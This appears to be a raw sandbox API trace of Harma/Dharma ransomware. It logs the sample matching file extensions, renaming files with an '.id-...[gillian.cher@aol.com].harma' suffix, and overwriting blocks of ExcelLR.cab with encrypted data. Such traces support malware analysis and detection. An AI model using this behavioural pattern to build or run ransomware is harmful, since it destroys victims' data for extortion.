[0039.690] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.690] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0039.690] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0039.690] lstrlenW (lpString=".doc") returned 4 [0039.690] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.690] lstrlenW (lpString=".docx") returned 5 [0039.690] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.690] lstrlenW (lpString=".pdf") returned 4 [0039.690] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.690] lstrlenW (lpString=".xls") returned 4 [0039.690] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.690] lstrlenW (lpString=".xlsx") returned 5 [0039.690] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.690] lstrlenW (lpString=".ppt") returned 4 [0039.691] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.691] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0039.691] lstrlenW (lpString=".zip") returned 4 [0039.691] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.691] lstrlenW (lpString=".rar") returned 4 [0039.691] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.691] lstrlenW (lpString=".bz2") returned 4 [0039.691] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.691] lstrlenW (lpString=".7z") returned 3 [0039.691] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.691] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0039.691] lstrlenW (lpString=".dbf") returned 4 [0039.691] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.691] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0039.691] lstrlenW (lpString=".1cd") returned 4 [0039.691] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.691] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0039.691] lstrlenW (lpString=".jpg") returned 4 [0039.691] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.691] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0039.691] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0039.691] lstrlenW (lpString=".doc") returned 4 [0039.691] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.691] lstrlenW (lpString=".docx") returned 5 [0039.691] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.691] lstrlenW (lpString=".pdf") returned 4 [0039.691] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.691] lstrlenW (lpString=".xls") returned 4 [0039.691] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.691] lstrlenW (lpString=".xlsx") returned 5 [0039.692] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.692] lstrlenW (lpString=".ppt") returned 4 [0039.692] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.692] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0039.692] lstrlenW (lpString=".zip") returned 4 [0039.692] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.692] lstrlenW (lpString=".rar") returned 4 [0039.692] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.692] lstrlenW (lpString=".bz2") returned 4 [0039.692] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.692] lstrlenW (lpString=".7z") returned 3 [0039.692] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.692] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0039.692] lstrlenW (lpString=".dbf") returned 4 [0039.692] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.692] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0039.692] lstrlenW (lpString=".1cd") returned 4 [0039.692] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.692] lstrlenW (lpString="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned 29 [0039.692] lstrlenW (lpString=".jpg") returned 4 [0039.692] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.692] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0039.692] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0039.692] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0039.693] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=90704) returned 1 [0039.693] CloseHandle (hObject=0x168) returned 1 [0039.693] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0039.693] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.693] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.693] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0039.693] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0039.693] lstrlenW (lpString=".doc") returned 4 [0039.693] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.693] lstrlenW (lpString=".docx") returned 5 [0039.693] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.693] lstrlenW (lpString=".pdf") returned 4 [0039.693] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.693] lstrlenW (lpString=".xls") returned 4 [0039.693] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.693] lstrlenW (lpString=".xlsx") returned 5 [0039.693] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.693] lstrlenW (lpString=".ppt") returned 4 [0039.693] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.693] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0039.693] lstrlenW (lpString=".zip") returned 4 [0039.693] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.693] lstrlenW (lpString=".rar") returned 4 [0039.694] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.694] lstrlenW (lpString=".bz2") returned 4 [0039.694] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.694] lstrlenW (lpString=".7z") returned 3 [0039.694] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.694] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0039.694] lstrlenW (lpString=".dbf") returned 4 [0039.694] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.694] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0039.694] lstrlenW (lpString=".1cd") returned 4 [0039.694] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.694] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0039.694] lstrlenW (lpString=".jpg") returned 4 [0039.694] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.694] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0039.694] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0039.694] lstrlenW (lpString=".doc") returned 4 [0039.694] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.694] lstrlenW (lpString=".docx") returned 5 [0039.694] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.694] lstrlenW (lpString=".pdf") returned 4 [0039.694] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.694] lstrlenW (lpString=".xls") returned 4 [0039.694] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.694] lstrlenW (lpString=".xlsx") returned 5 [0039.694] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.694] lstrlenW (lpString=".ppt") returned 4 [0039.694] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.694] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0039.695] lstrlenW (lpString=".zip") returned 4 [0039.695] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.695] lstrlenW (lpString=".rar") returned 4 [0039.695] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.695] lstrlenW (lpString=".bz2") returned 4 [0039.695] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.695] lstrlenW (lpString=".7z") returned 3 [0039.695] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.695] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0039.695] lstrlenW (lpString=".dbf") returned 4 [0039.695] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.695] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0039.695] lstrlenW (lpString=".1cd") returned 4 [0039.695] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.695] lstrlenW (lpString="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 29 [0039.695] lstrlenW (lpString=".jpg") returned 4 [0039.695] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.695] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0039.695] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0039.695] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0039.696] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=90176) returned 1 [0039.696] CloseHandle (hObject=0x168) returned 1 [0039.696] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0039.696] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.696] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.696] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0039.696] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0039.696] lstrlenW (lpString=".doc") returned 4 [0039.696] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.696] lstrlenW (lpString=".docx") returned 5 [0039.696] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.696] lstrlenW (lpString=".pdf") returned 4 [0039.696] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.696] lstrlenW (lpString=".xls") returned 4 [0039.696] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.696] lstrlenW (lpString=".xlsx") returned 5 [0039.696] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.696] lstrlenW (lpString=".ppt") returned 4 [0039.696] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.696] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0039.696] lstrlenW (lpString=".zip") returned 4 [0039.696] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.696] lstrlenW (lpString=".rar") returned 4 [0039.696] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.696] lstrlenW (lpString=".bz2") returned 4 [0039.696] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.696] lstrlenW (lpString=".7z") returned 3 [0039.697] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.697] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0039.697] lstrlenW (lpString=".dbf") returned 4 [0039.697] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.697] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0039.697] lstrlenW (lpString=".1cd") returned 4 [0039.697] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.697] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0039.697] lstrlenW (lpString=".jpg") returned 4 [0039.697] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.697] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0039.697] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0039.697] lstrlenW (lpString=".doc") returned 4 [0039.697] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.697] lstrlenW (lpString=".docx") returned 5 [0039.697] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.697] lstrlenW (lpString=".pdf") returned 4 [0039.697] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.697] lstrlenW (lpString=".xls") returned 4 [0039.697] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.697] lstrlenW (lpString=".xlsx") returned 5 [0039.697] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.697] lstrlenW (lpString=".ppt") returned 4 [0039.697] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.697] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0039.698] lstrlenW (lpString=".zip") returned 4 [0039.698] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.698] lstrlenW (lpString=".rar") returned 4 [0039.698] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.698] lstrlenW (lpString=".bz2") returned 4 [0039.698] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.698] lstrlenW (lpString=".7z") returned 3 [0039.698] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.698] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0039.698] lstrlenW (lpString=".dbf") returned 4 [0039.698] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.698] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0039.698] lstrlenW (lpString=".1cd") returned 4 [0039.698] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.698] lstrlenW (lpString="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 29 [0039.698] lstrlenW (lpString=".jpg") returned 4 [0039.698] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.698] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0039.698] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0039.698] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0039.698] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=89664) returned 1 [0039.699] CloseHandle (hObject=0x168) returned 1 [0039.699] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0039.699] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.699] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.699] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0039.699] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0039.699] lstrlenW (lpString=".doc") returned 4 [0039.699] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.699] lstrlenW (lpString=".docx") returned 5 [0039.699] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.699] lstrlenW (lpString=".pdf") returned 4 [0039.699] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.699] lstrlenW (lpString=".xls") returned 4 [0039.699] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.699] lstrlenW (lpString=".xlsx") returned 5 [0039.699] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.699] lstrlenW (lpString=".ppt") returned 4 [0039.699] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.699] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0039.699] lstrlenW (lpString=".zip") returned 4 [0039.699] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.699] lstrlenW (lpString=".rar") returned 4 [0039.699] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.699] lstrlenW (lpString=".bz2") returned 4 [0039.699] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.699] lstrlenW (lpString=".7z") returned 3 [0039.700] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.700] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0039.700] lstrlenW (lpString=".dbf") returned 4 [0039.700] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.700] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0039.700] lstrlenW (lpString=".1cd") returned 4 [0039.700] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.700] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0039.700] lstrlenW (lpString=".jpg") returned 4 [0039.700] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.700] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0039.700] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0039.700] lstrlenW (lpString=".doc") returned 4 [0039.700] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.700] lstrlenW (lpString=".docx") returned 5 [0039.700] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.700] lstrlenW (lpString=".pdf") returned 4 [0039.700] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.700] lstrlenW (lpString=".xls") returned 4 [0039.700] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.700] lstrlenW (lpString=".xlsx") returned 5 [0039.700] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.700] lstrlenW (lpString=".ppt") returned 4 [0039.700] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.700] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0039.700] lstrlenW (lpString=".zip") returned 4 [0039.700] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.700] lstrlenW (lpString=".rar") returned 4 [0039.700] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.700] lstrlenW (lpString=".bz2") returned 4 [0039.701] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.701] lstrlenW (lpString=".7z") returned 3 [0039.701] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.701] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0039.701] lstrlenW (lpString=".dbf") returned 4 [0039.701] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.701] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0039.701] lstrlenW (lpString=".1cd") returned 4 [0039.701] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.701] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0039.701] lstrlenW (lpString=".jpg") returned 4 [0039.701] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.701] Sleep (dwMilliseconds=0x64) [0039.957] Sleep (dwMilliseconds=0x64) [0040.255] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0040.255] lstrlenW (lpString="ExcelLR.cab") returned 11 [0040.255] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0040.472] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x35fff1c | out: lpFileSize=0x35fff1c*=16972987) returned 1 [0040.472] CloseHandle (hObject=0x170) returned 1 [0040.472] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab")) returned 0x2020 [0040.472] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.472] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0040.472] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0040.473] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0x0) returned 1 [0040.473] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0040.473] ReadFile (in: hFile=0x170, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.590] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0040.592] ReadFile (in: hFile=0x170, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.599] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35ffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0040.599] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc2c | out: lpNewFilePointer=0x0) returned 1 [0040.599] ReadFile (in: hFile=0x170, lpBuffer=0x3e40058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3e40058*, lpNumberOfBytesRead=0x35ffc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.709] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffec8 | out: lpNewFilePointer=0x0) returned 1 [0040.709] WriteFile (in: hFile=0x170, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x35ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x35ffcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0041.019] SetEndOfFile (hFile=0x170) returned 1 [0041.020] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f234d0 [0041.024] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0041.024] WriteFile (in: hFile=0x170, lpBuffer=0x3f234d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f234d0*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.028] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0041.028] WriteFile (in: hFile=0x170, lpBuffer=0x3f234d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f234d0*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.029] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x35ffc7c | out: lpNewFilePointer=0x0) returned 1 [0041.029] WriteFile (in: hFile=0x170, lpBuffer=0x3f234d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f234d0*, lpNumberOfBytesWritten=0x35ffc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.030] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f234d0 | out: hHeap=0x5a0000) returned 1 